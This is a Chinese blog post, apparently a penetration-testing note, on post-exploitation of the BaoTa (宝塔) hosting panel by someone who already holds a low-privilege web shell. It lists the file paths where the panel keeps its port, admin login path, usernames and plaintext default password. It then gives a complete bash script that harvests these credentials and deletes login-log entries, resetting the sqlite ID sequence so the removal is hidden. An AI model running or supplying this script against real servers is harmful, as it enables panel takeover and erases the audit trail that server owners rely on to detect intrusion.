609 日 , 2024 9:47:52
宝塔面板利用方式

宝塔面板

基础信息

如果发现一个网站是由宝塔面板搭建,并且获取了这个网站的shell,但是只有www权限,还有disable_functions阻拦使用命令函数,那么可以尝试获取宝塔的登录url、默认账号、默认密码,尝试进行登录。

windows7.9.0版本

我使用windows10搭建了宝塔面板(windows7.9.0版本),我们可以看到它的登录接口,默认账号,默认密码

但是它是以明文的方式存储在/BtSoft/panel/data/目录下的文件中

登录端口在port.pl文件中

登录接口在admin_path.pl文件中

默认账号在session文件夹下的文件中

默认密码在default.pl文件中

后续版本更新使default.pl文件中为*乱码

源码的登录逻辑代码userlogin.py中发现登录成功后会更新default.pl文件

Linux版本在7.9.5更新逻辑

windows8.2.0默认密码仍在default.pl文件中(linux7.7.0符合,linux7.9.5修改代码逻辑,登录成功之后就会覆盖default.pl文件)

日志计数

登录成功或错误会记录日志

日志记录在/www/server/panel/data/default.db

Script

读取接口url,获取用户名,密码,清除日志

linux

#!/bin/bash
# 定义文件路径
port_file="/www/server/panel/data/port.pl"
admin_path_file="/www/server/panel/data/admin_path.pl"
password_file="/www/server/panel/default.pl"
root_dir="/www/server/panel/"

local_ip=$(hostname -I | awk '{print $1}')
if [[ -f "$port_file" ]]; then
    panel_port=$(cat "$port_file")
else
    echo "文件 $port_file 不存在,无法读取端口。"
    exit 1
fi
if [[ -f "$admin_path_file" ]]; then
    admin_path=$(cat "$admin_path_file")
else
    echo "文件 $admin_path_file 不存在,无法读取接口。"
    exit 1
fi

# 输出接口 URL
if [[ -n "$local_ip" && -n "$panel_port" && -n "$admin_path" ]]; then
    echo "---------------------------------------"
    echo "接口 URL:"
    echo "$local_ip:$panel_port$admin_path"
    echo "---------------------------------------"
else
    echo "无法生成接口 URL,请检查配置文件。"
fi

# 输出username
if [[ -d "$root_dir" ]]; then
    db_files=$(find "$root_dir" -type f -name "default.db")
    if [[ -n "$db_files" ]]; then
        while IFS= read -r db_file; do
            table_check=$(sqlite3 "$db_file" "SELECT name FROM sqlite_master WHERE type='table' AND name='users';")
            if [[ -n "$table_check" ]]; then
                echo "---------------------------------------"
                sqlite3 "$db_file" "SELECT username FROM users;" | while read -r username; do
                    echo "username:$username"
                done
            else
                echo "表 'users' 不存在。"
            fi
        done <<< "$db_files"
    else
        echo "未找到 default.db 文件。"
    fi
else
    echo "目录 $root_dir 不存在。"
fi

# 检查密码文件
if [[ -f "$password_file" ]]; then
    pwd=$(cat "$password_file")  # 读取密码内容
    echo "password:$pwd"
    echo "---------------------------------------"
else
    echo "文件 $password_file 不存在。"
fi

# 查询并提示用户删除logs表的数据
echo "---------------------------------------"
echo "查询 logs 表数据并删除:"
if [[ -d "$root_dir" ]]; then
    db_files=$(find "$root_dir" -type f -name "default.db")
    if [[ -n "$db_files" ]]; then
        # 展示日志数据
        for db_file in $db_files; do
            table_check=$(sqlite3 "$db_file" "SELECT name FROM sqlite_master WHERE type='table' AND name='logs';")
            if [[ -n "$table_check" ]]; then
                echo "日志条数:"
                log_count=$(sqlite3 "$db_file" "SELECT COUNT(*) FROM logs;")
                echo "日志表当前共有 $log_count 条数据。"
                if [[ "$log_count" -gt 0 ]]; then
                    # 展示 logs 表的最后 10 条记录
                    echo "---------------------------------------"
                    echo "logs 表的最后 10 条记录:"
                    sqlite3 "$db_file" "SELECT * FROM logs ORDER BY id DESC LIMIT 10;"
                    echo "---------------------------------------"
                else
                    echo "日志表中没有数据。"
                fi
            else
                echo "表 'logs' 不存在。"
            fi
        done
        # 提示用户输入要删除的日志条数
        echo "请输入要删除的日志条数(按 ID 从大到小删除,输入 0 取消):"
        read -r delete_count
        # 调试输出,检查用户输入的数据
        echo "用户输入的删除条数:$delete_count"
        # 处理用户输入的删除条数
        if [[ -n "$delete_count" && "$delete_count" =~ ^[0-9]+$ ]] && [[ "$delete_count" -gt 0 ]]; then
            for db_file in $db_files; do
                # 获取要删除的记录的 ID(按 ID 从大到小)
                ids_to_delete=$(sqlite3 "$db_file" "SELECT id FROM logs ORDER BY id DESC LIMIT $delete_count;")
                # 删除日志表中这些 ID 的记录
                for id in $ids_to_delete; do
                    sqlite3 "$db_file" "DELETE FROM logs WHERE id = $id;"
                done
                # 获取删除后的最后一个ID
                last_id=$(sqlite3 "$db_file" "SELECT MAX(id) FROM logs;")
                # 如果 last_id 为空,表示表中没有数据,重置为1
                if [[ -z "$last_id" ]]; then
                    last_id=1
                fi
                # 更新sqlite_sequence表的logs自增ID,确保ID自增正常
                sqlite3 "$db_file" "UPDATE sqlite_sequence SET seq = $last_id WHERE name = 'logs';"
                echo "已删除日志记录并更新了sqlite_sequence表。"
            done
        else
            echo "无效的输入或删除数量超出范围,删除操作已取消。请输入有效的数字,且在 1 到 $log_count 的范围内。"
        fi
    else
        echo "未找到 default.db 文件。"
    fi
else
    echo "目录 $root_dir 不存在。"
fi
echo "---------------------------------------"
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!